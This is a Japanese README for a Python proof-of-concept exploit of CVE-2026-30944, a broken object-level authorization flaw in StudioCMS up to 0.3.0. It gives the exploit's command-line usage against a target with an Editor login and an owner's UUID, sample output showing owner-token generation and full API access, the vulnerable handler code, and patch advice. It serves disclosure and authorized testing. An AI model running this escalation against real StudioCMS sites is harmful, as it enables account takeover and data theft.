
Python製のCVE-2026-30944の概念実証コード。StudioCMSのBOLA脆弱性を悪用し、安全でないAPIトークン生成を介して権限を昇格させます。
StudioCMS の安全でない API トークン生成による権限昇格
StudioCMS ≤ 0.3.0 の POST /studiocms_api/dashboard/api-tokens エンドポイントは、認証済みユーザー(最低でも Editor ロール)が 他の任意のユーザー(owner や admin アカウントを含む)の API トークンを生成することを許可します。
このエンドポイントは、リクエストボディ内の user パラメータで対象ユーザーの UUID を指定しますが、リクエストを行ったユーザーがその対象ユーザーの代わりにトークンを作成する権限を持っているかどうかを 一切検証しません。これは典型的な Broken Object Level Authorization(BOLA) 脆弱性であり、完全な権限昇格につながります。
┌──────────────┐ POST /api-tokens ┌──────────────┐
│ │ {"user":"<owner-id>"} │ │
│ Attacker │ ─────────────────────────► │ StudioCMS │
│ (Editor) │ │ Server │
│ │ ◄───────────────────────── │ │
└──────────────┘ {"token":"eyJhb..."} └──────────────┘
│ │
│ GET /rest/v1/users │
│ Authorization: Bearer <owner-token> │
│ ─────────────────────────────────────────►│
│ │
│ ◄─────────────────────────────────────────│
│ [Full user data as Owner] │
│ │
| ファイル | 説明 |
|---|---|
cve_2026_30944_poc.py | 手動モードと自動モードを備えた Python エクスプロイトスクリプト |
README.md | このファイル |
LICENSE | MIT ライセンス |
Editor アカウントの有効な認証情報pip install requests colorama
# エディターアカウントを使用して owner の API トークンを生成
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# 結果を JSON に保存
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--save
# 複数のロールでテストして脆弱性を確認
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
| 引数 | 説明 |
|---|---|
-u, --url | 対象の StudioCMS ベース URL |
--uuid | 対象ユーザーの UUID(例: owner アカウント) |
| 引数 | 説明 |
|---|---|
--username | 認証用のユーザー名 |
--password | 認証用のパスワード |
| 引数 | 説明 |
|---|---|
--save | 結果を JSON ファイルに保存 |
--no-ssl-verify | SSL 証明書の検証を無効化 |
──────────────────────────────────────────────────────────
PHASE 1: Authentication
──────────────────────────────────────────────────────────
[+] Authenticated as 'editor01'
[*] Session user: editor01 (editor)
[*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
PHASE 2: Privilege Escalation
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Generating API token for target user...
[+] API token generated successfully!
[!] Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...
──────────────────────────────────────────────────────────
PHASE 3: Verification
──────────────────────────────────────────────────────────
[*] Verifying token access on REST API...
[+] VULNERABILITY CONFIRMED — Full API access achieved!
[*] Retrieved 9 user records
──────────────────────────────────────────────────────────
PHASE 2: Privilege Escalation
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Generating API token for target user...
[*] Access denied (403 Forbidden) — endpoint may be patched
[-] Exploitation failed — token not generated
脆弱なハンドラーは packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts(16〜57 行目)にあり、JSON ボディから user パラメータを受け取り、認可チェックなしでトークン生成関数に直接渡します:
// [1] 呼び出し元が editor かどうかのみチェック — 誰のためにトークンを作成しているかはチェックしない
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] リクエストボディの 'user' — 認証済みセッションとの検証なし
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);
// [3] トークン生成に直接渡される — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);
認可モデルは 「呼び出し元は少なくとも editor か?」 のみを検証し、「呼び出し元はこの特定のユーザーのトークンを作成する権限があるか?」 を検証しません。
StudioCMS をバージョン 0.4.0 以降に更新してください:
npm install studiocms@latest
このツールは教育目的および許可されたセキュリティテスト専用に提供されています。
Filipe Gaudard
この PoC は教育目的で MIT ライセンス の下で公開されています。責任を持って倫理的に使用してください。
| フィールド | 値 |
|---|
| CVE | CVE-2026-30944 |
| GHSA | GHSA-667w-mmh7-mrr4 |
| CVSS v3.1 | 8.8(高) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639: ユーザー制御キーによる認可バイパス |
| CWE(副次) | CWE-863: 不正確な認可 |
| MITRE ATT&CK | T1134 — アクセストークン操作 |
| OWASP API | API1:2023 — Broken Object Level Authorization |
| 影響を受けるバージョン | studiocms ≤ 0.3.0 |
| 修正バージョン | studiocms 0.4.0 |
| 引数 | 説明 |
|---|
--auto-test | 自動マルチロールテストを有効化 |
--editor-user | エディターアカウントのユーザー名 |
--editor-pass | エディターアカウントのパスワード |
--visitor-user | ビジターアカウントのユーザー名 |
--visitor-pass | ビジターアカウントのパスワード |